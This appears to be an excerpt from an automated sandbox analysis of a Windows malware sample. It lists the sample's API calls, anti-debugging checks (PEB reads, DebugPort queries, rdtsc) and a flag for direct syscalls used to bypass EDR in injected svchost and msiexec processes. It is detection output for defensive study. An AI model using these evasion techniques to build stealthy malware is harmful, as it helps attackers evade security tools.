Source: C:\Users\user\Desktop\p4rsJEIb7k.exe	Code function: 0_2_0044BD29 FindFirstFileW,CopyFileW,lstrcmpiW,DeleteFileW,MoveFileW,CopyFileW,DeleteFileW,CopyFileW,FindClose,MoveFileW,FindNextFileW,FindClose,	0_2_0044BD29
Source: C:\Users\user\Desktop\p4rsJEIb7k.exe	Code function: 0_2_00436D2D FindFirstFileW,CreateFileW,SetFileTime,CloseHandle,SetFileTime,CloseHandle,	0_2_00436D2D
Source: C:\Users\user\Desktop\p4rsJEIb7k.exe	Code function: 0_2_00442E1F SetCurrentDirectoryW,FindFirstFileW,SetCurrentDirectoryW,FindFirstFileW,FindNextFileW,FindClose,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_00442E1F
Source: C:\Users\user\Desktop\p4rsJEIb7k.exe	Code function: 0_2_00475FE5 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,	0_2_00475FE5
Source: C:\Users\user\Desktop\p4rsJEIb7k.exe	Code function: 0_2_0044BF8D FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_0044BF8D

Source: C:\Users\user\Desktop\p4rsJEIb7k.exe

Code function: 0_2_0040E470 GetVersionExW,GetCurrentProcess,FreeLibrary,GetNativeSystemInfo,FreeLibrary,FreeLibrary,GetSystemInfo,GetSystemInfo,

0_2_0040E470

Source: firefox.exe, 00000004.00000002.5104537799.000001B8A9946000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll8
Source: msiexec.exe, 00000003.00000002.8169483298.00000000032F3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllq
Source: BlltrVxNMs.exe, 00000002.00000002.9379519530.000000000132F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\SysWOW64\svchost.exe

Process information queried: ProcessInformation

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Windows\SysWOW64\svchost.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 1_2_0347088E rdtsc

1_2_0347088E

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 1_2_00417583 LdrLoadDll,

1_2_00417583

Source: C:\Users\user\Desktop\p4rsJEIb7k.exe

Code function: 0_2_0045A259 BlockInput,

0_2_0045A259

Source: C:\Users\user\Desktop\p4rsJEIb7k.exe

Code function: 0_2_0040D6D0 GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetModuleFileNameW,GetForegroundWindow,ShellExecuteW,GetForegroundWindow,ShellExecuteW,

0_2_0040D6D0

Source: C:\Users\user\Desktop\p4rsJEIb7k.exe

Code function: 0_2_0040EB70 LoadLibraryA,GetProcAddress,

0_2_0040EB70

Source: C:\Users\user\Desktop\p4rsJEIb7k.exe	Code function: 0_2_04549348 mov eax, dword ptr fs:[00000030h]	0_2_04549348
Source: C:\Users\user\Desktop\p4rsJEIb7k.exe	Code function: 0_2_0454A978 mov eax, dword ptr fs:[00000030h]	0_2_0454A978
Source: C:\Users\user\Desktop\p4rsJEIb7k.exe	Code function: 0_2_0454A9D8 mov eax, dword ptr fs:[00000030h]	0_2_0454A9D8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03428347 mov eax, dword ptr fs:[00000030h]	1_2_03428347
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03428347 mov eax, dword ptr fs:[00000030h]	1_2_03428347
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03428347 mov eax, dword ptr fs:[00000030h]	1_2_03428347
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0346A350 mov eax, dword ptr fs:[00000030h]	1_2_0346A350
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0346E363 mov eax, dword ptr fs:[00000030h]	1_2_0346E363
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0346E363 mov eax, dword ptr fs:[00000030h]	1_2_0346E363
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0346E363 mov eax, dword ptr fs:[00000030h]	1_2_0346E363
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0346E363 mov eax, dword ptr fs:[00000030h]	1_2_0346E363
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0346E363 mov eax, dword ptr fs:[00000030h]	1_2_0346E363
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0346E363 mov eax, dword ptr fs:[00000030h]	1_2_0346E363
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0346E363 mov eax, dword ptr fs:[00000030h]	1_2_0346E363
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0346E363 mov eax, dword ptr fs:[00000030h]	1_2_0346E363
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034AE372 mov eax, dword ptr fs:[00000030h]	1_2_034AE372
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034AE372 mov eax, dword ptr fs:[00000030h]	1_2_034AE372
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034AE372 mov eax, dword ptr fs:[00000030h]	1_2_034AE372
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034AE372 mov eax, dword ptr fs:[00000030h]	1_2_034AE372
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034B0371 mov eax, dword ptr fs:[00000030h]	1_2_034B0371
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034B0371 mov eax, dword ptr fs:[00000030h]	1_2_034B0371
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0345237A mov eax, dword ptr fs:[00000030h]	1_2_0345237A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034D630E mov eax, dword ptr fs:[00000030h]	1_2_034D630E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0344E310 mov eax, dword ptr fs:[00000030h]	1_2_0344E310
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0344E310 mov eax, dword ptr fs:[00000030h]	1_2_0344E310
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0344E310 mov eax, dword ptr fs:[00000030h]	1_2_0344E310
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0346631F mov eax, dword ptr fs:[00000030h]	1_2_0346631F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03468322 mov eax, dword ptr fs:[00000030h]	1_2_03468322
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03468322 mov eax, dword ptr fs:[00000030h]	1_2_03468322
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03468322 mov eax, dword ptr fs:[00000030h]	1_2_03468322
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0342E328 mov eax, dword ptr fs:[00000030h]	1_2_0342E328
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0342E328 mov eax, dword ptr fs:[00000030h]	1_2_0342E328
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0342E328 mov eax, dword ptr fs:[00000030h]	1_2_0342E328
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0342E3C0 mov eax, dword ptr fs:[00000030h]	1_2_0342E3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0342E3C0 mov eax, dword ptr fs:[00000030h]	1_2_0342E3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0342E3C0 mov eax, dword ptr fs:[00000030h]	1_2_0342E3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0342C3C7 mov eax, dword ptr fs:[00000030h]	1_2_0342C3C7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034363CB mov eax, dword ptr fs:[00000030h]	1_2_034363CB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034643D0 mov ecx, dword ptr fs:[00000030h]	1_2_034643D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034BE3DD mov eax, dword ptr fs:[00000030h]	1_2_034BE3DD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034B43D5 mov eax, dword ptr fs:[00000030h]	1_2_034B43D5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0345A390 mov eax, dword ptr fs:[00000030h]	1_2_0345A390
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0345A390 mov eax, dword ptr fs:[00000030h]	1_2_0345A390
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0345A390 mov eax, dword ptr fs:[00000030h]	1_2_0345A390
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034D43BA mov eax, dword ptr fs:[00000030h]	1_2_034D43BA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034D43BA mov eax, dword ptr fs:[00000030h]	1_2_034D43BA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034AC3B0 mov eax, dword ptr fs:[00000030h]	1_2_034AC3B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0342A200 mov eax, dword ptr fs:[00000030h]	1_2_0342A200
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0342821B mov eax, dword ptr fs:[00000030h]	1_2_0342821B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034B0227 mov eax, dword ptr fs:[00000030h]	1_2_034B0227
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034B0227 mov eax, dword ptr fs:[00000030h]	1_2_034B0227
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034B0227 mov eax, dword ptr fs:[00000030h]	1_2_034B0227
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0346A22B mov eax, dword ptr fs:[00000030h]	1_2_0346A22B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0346A22B mov eax, dword ptr fs:[00000030h]	1_2_0346A22B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0346A22B mov eax, dword ptr fs:[00000030h]	1_2_0346A22B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03450230 mov ecx, dword ptr fs:[00000030h]	1_2_03450230
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0343A2E0 mov eax, dword ptr fs:[00000030h]	1_2_0343A2E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0343A2E0 mov eax, dword ptr fs:[00000030h]	1_2_0343A2E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0343A2E0 mov eax, dword ptr fs:[00000030h]	1_2_0343A2E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0343A2E0 mov eax, dword ptr fs:[00000030h]	1_2_0343A2E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0343A2E0 mov eax, dword ptr fs:[00000030h]	1_2_0343A2E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0343A2E0 mov eax, dword ptr fs:[00000030h]	1_2_0343A2E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034382E0 mov eax, dword ptr fs:[00000030h]	1_2_034382E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034382E0 mov eax, dword ptr fs:[00000030h]	1_2_034382E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034382E0 mov eax, dword ptr fs:[00000030h]	1_2_034382E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034382E0 mov eax, dword ptr fs:[00000030h]	1_2_034382E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034402F9 mov eax, dword ptr fs:[00000030h]	1_2_034402F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034402F9 mov eax, dword ptr fs:[00000030h]	1_2_034402F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034402F9 mov eax, dword ptr fs:[00000030h]	1_2_034402F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034402F9 mov eax, dword ptr fs:[00000030h]	1_2_034402F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034402F9 mov eax, dword ptr fs:[00000030h]	1_2_034402F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034402F9 mov eax, dword ptr fs:[00000030h]	1_2_034402F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034402F9 mov eax, dword ptr fs:[00000030h]	1_2_034402F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034402F9 mov eax, dword ptr fs:[00000030h]	1_2_034402F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034AE289 mov eax, dword ptr fs:[00000030h]	1_2_034AE289
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034542AF mov eax, dword ptr fs:[00000030h]	1_2_034542AF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034542AF mov eax, dword ptr fs:[00000030h]	1_2_034542AF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0342C2B0 mov ecx, dword ptr fs:[00000030h]	1_2_0342C2B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0342A147 mov eax, dword ptr fs:[00000030h]	1_2_0342A147
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0342A147 mov eax, dword ptr fs:[00000030h]	1_2_0342A147
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0342A147 mov eax, dword ptr fs:[00000030h]	1_2_0342A147
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0346415F mov eax, dword ptr fs:[00000030h]	1_2_0346415F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03436179 mov eax, dword ptr fs:[00000030h]	1_2_03436179
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03460118 mov eax, dword ptr fs:[00000030h]	1_2_03460118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034BA130 mov eax, dword ptr fs:[00000030h]	1_2_034BA130
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034401C0 mov eax, dword ptr fs:[00000030h]	1_2_034401C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034401C0 mov eax, dword ptr fs:[00000030h]	1_2_034401C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0343A1E3 mov eax, dword ptr fs:[00000030h]	1_2_0343A1E3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0343A1E3 mov eax, dword ptr fs:[00000030h]	1_2_0343A1E3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0343A1E3 mov eax, dword ptr fs:[00000030h]	1_2_0343A1E3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0343A1E3 mov eax, dword ptr fs:[00000030h]	1_2_0343A1E3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0343A1E3 mov eax, dword ptr fs:[00000030h]	1_2_0343A1E3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034F81EE mov eax, dword ptr fs:[00000030h]	1_2_034F81EE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034F81EE mov eax, dword ptr fs:[00000030h]	1_2_034F81EE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034281EB mov eax, dword ptr fs:[00000030h]	1_2_034281EB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034401F1 mov eax, dword ptr fs:[00000030h]	1_2_034401F1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034401F1 mov eax, dword ptr fs:[00000030h]	1_2_034401F1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034401F1 mov eax, dword ptr fs:[00000030h]	1_2_034401F1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03434180 mov eax, dword ptr fs:[00000030h]	1_2_03434180
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03434180 mov eax, dword ptr fs:[00000030h]	1_2_03434180
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03434180 mov eax, dword ptr fs:[00000030h]	1_2_03434180
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0346E1A4 mov eax, dword ptr fs:[00000030h]	1_2_0346E1A4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0346E1A4 mov eax, dword ptr fs:[00000030h]	1_2_0346E1A4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034641BB mov ecx, dword ptr fs:[00000030h]	1_2_034641BB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034641BB mov eax, dword ptr fs:[00000030h]	1_2_034641BB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034641BB mov eax, dword ptr fs:[00000030h]	1_2_034641BB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03460044 mov eax, dword ptr fs:[00000030h]	1_2_03460044
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034B6040 mov eax, dword ptr fs:[00000030h]	1_2_034B6040
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03436074 mov eax, dword ptr fs:[00000030h]	1_2_03436074
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03436074 mov eax, dword ptr fs:[00000030h]	1_2_03436074
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03438009 mov eax, dword ptr fs:[00000030h]	1_2_03438009
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03472010 mov ecx, dword ptr fs:[00000030h]	1_2_03472010
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034BC0E0 mov ecx, dword ptr fs:[00000030h]	1_2_034BC0E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0342C0F6 mov eax, dword ptr fs:[00000030h]	1_2_0342C0F6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03504080 mov eax, dword ptr fs:[00000030h]	1_2_03504080
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03504080 mov eax, dword ptr fs:[00000030h]	1_2_03504080
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03504080 mov eax, dword ptr fs:[00000030h]	1_2_03504080
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03504080 mov eax, dword ptr fs:[00000030h]	1_2_03504080
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03504080 mov eax, dword ptr fs:[00000030h]	1_2_03504080
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03504080 mov eax, dword ptr fs:[00000030h]	1_2_03504080
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03504080 mov eax, dword ptr fs:[00000030h]	1_2_03504080
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0342A093 mov ecx, dword ptr fs:[00000030h]	1_2_0342A093
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0342C090 mov eax, dword ptr fs:[00000030h]	1_2_0342C090
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034C6090 mov eax, dword ptr fs:[00000030h]	1_2_034C6090
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034700A5 mov eax, dword ptr fs:[00000030h]	1_2_034700A5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034B60A0 mov eax, dword ptr fs:[00000030h]	1_2_034B60A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034B60A0 mov eax, dword ptr fs:[00000030h]	1_2_034B60A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034B60A0 mov eax, dword ptr fs:[00000030h]	1_2_034B60A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034B60A0 mov eax, dword ptr fs:[00000030h]	1_2_034B60A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034B60A0 mov eax, dword ptr fs:[00000030h]	1_2_034B60A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034B60A0 mov eax, dword ptr fs:[00000030h]	1_2_034B60A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034B60A0 mov eax, dword ptr fs:[00000030h]	1_2_034B60A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03452755 mov eax, dword ptr fs:[00000030h]	1_2_03452755
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03452755 mov eax, dword ptr fs:[00000030h]	1_2_03452755
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03452755 mov eax, dword ptr fs:[00000030h]	1_2_03452755
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03452755 mov ecx, dword ptr fs:[00000030h]	1_2_03452755
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03452755 mov eax, dword ptr fs:[00000030h]	1_2_03452755
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03452755 mov eax, dword ptr fs:[00000030h]	1_2_03452755
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0346A750 mov eax, dword ptr fs:[00000030h]	1_2_0346A750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034DE750 mov eax, dword ptr fs:[00000030h]	1_2_034DE750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03442760 mov ecx, dword ptr fs:[00000030h]	1_2_03442760
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03460774 mov eax, dword ptr fs:[00000030h]	1_2_03460774
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03434779 mov eax, dword ptr fs:[00000030h]	1_2_03434779
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03434779 mov eax, dword ptr fs:[00000030h]	1_2_03434779
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0345270D mov eax, dword ptr fs:[00000030h]	1_2_0345270D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0345270D mov eax, dword ptr fs:[00000030h]	1_2_0345270D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0345270D mov eax, dword ptr fs:[00000030h]	1_2_0345270D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0343471B mov eax, dword ptr fs:[00000030h]	1_2_0343471B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0343471B mov eax, dword ptr fs:[00000030h]	1_2_0343471B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0345E7E0 mov eax, dword ptr fs:[00000030h]	1_2_0345E7E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034AE79D mov eax, dword ptr fs:[00000030h]	1_2_034AE79D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034AE79D mov eax, dword ptr fs:[00000030h]	1_2_034AE79D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034AE79D mov eax, dword ptr fs:[00000030h]	1_2_034AE79D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034AE79D mov eax, dword ptr fs:[00000030h]	1_2_034AE79D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034AE79D mov eax, dword ptr fs:[00000030h]	1_2_034AE79D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034AE79D mov eax, dword ptr fs:[00000030h]	1_2_034AE79D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034AE79D mov eax, dword ptr fs:[00000030h]	1_2_034AE79D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034AE79D mov eax, dword ptr fs:[00000030h]	1_2_034AE79D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034AE79D mov eax, dword ptr fs:[00000030h]	1_2_034AE79D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034307A7 mov eax, dword ptr fs:[00000030h]	1_2_034307A7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034D47B4 mov eax, dword ptr fs:[00000030h]	1_2_034D47B4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034D47B4 mov eax, dword ptr fs:[00000030h]	1_2_034D47B4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034D47B4 mov eax, dword ptr fs:[00000030h]	1_2_034D47B4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034D47B4 mov eax, dword ptr fs:[00000030h]	1_2_034D47B4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034D47B4 mov eax, dword ptr fs:[00000030h]	1_2_034D47B4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034D47B4 mov eax, dword ptr fs:[00000030h]	1_2_034D47B4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034D47B4 mov ecx, dword ptr fs:[00000030h]	1_2_034D47B4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034CC7B0 mov eax, dword ptr fs:[00000030h]	1_2_034CC7B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034CC7B0 mov eax, dword ptr fs:[00000030h]	1_2_034CC7B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0346C640 mov eax, dword ptr fs:[00000030h]	1_2_0346C640
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0346C640 mov eax, dword ptr fs:[00000030h]	1_2_0346C640
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0346265C mov eax, dword ptr fs:[00000030h]	1_2_0346265C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0346265C mov ecx, dword ptr fs:[00000030h]	1_2_0346265C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0346265C mov eax, dword ptr fs:[00000030h]	1_2_0346265C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0346666D mov esi, dword ptr fs:[00000030h]	1_2_0346666D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0346666D mov eax, dword ptr fs:[00000030h]	1_2_0346666D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0346666D mov eax, dword ptr fs:[00000030h]	1_2_0346666D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034BE660 mov eax, dword ptr fs:[00000030h]	1_2_034BE660
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03430670 mov eax, dword ptr fs:[00000030h]	1_2_03430670
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03472670 mov eax, dword ptr fs:[00000030h]	1_2_03472670
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03472670 mov eax, dword ptr fs:[00000030h]	1_2_03472670
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03504600 mov eax, dword ptr fs:[00000030h]	1_2_03504600
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0346C620 mov eax, dword ptr fs:[00000030h]	1_2_0346C620
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03430630 mov eax, dword ptr fs:[00000030h]	1_2_03430630
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03460630 mov eax, dword ptr fs:[00000030h]	1_2_03460630
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034B8633 mov esi, dword ptr fs:[00000030h]	1_2_034B8633
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034B8633 mov eax, dword ptr fs:[00000030h]	1_2_034B8633
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034B8633 mov eax, dword ptr fs:[00000030h]	1_2_034B8633
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034306CF mov eax, dword ptr fs:[00000030h]	1_2_034306CF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034FA6C0 mov eax, dword ptr fs:[00000030h]	1_2_034FA6C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034D86C2 mov eax, dword ptr fs:[00000030h]	1_2_034D86C2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034C66D0 mov eax, dword ptr fs:[00000030h]	1_2_034C66D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034C66D0 mov eax, dword ptr fs:[00000030h]	1_2_034C66D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034DE6D0 mov eax, dword ptr fs:[00000030h]	1_2_034DE6D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0343C6E0 mov eax, dword ptr fs:[00000030h]	1_2_0343C6E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034566E0 mov eax, dword ptr fs:[00000030h]	1_2_034566E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034566E0 mov eax, dword ptr fs:[00000030h]	1_2_034566E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034AC6F2 mov eax, dword ptr fs:[00000030h]	1_2_034AC6F2
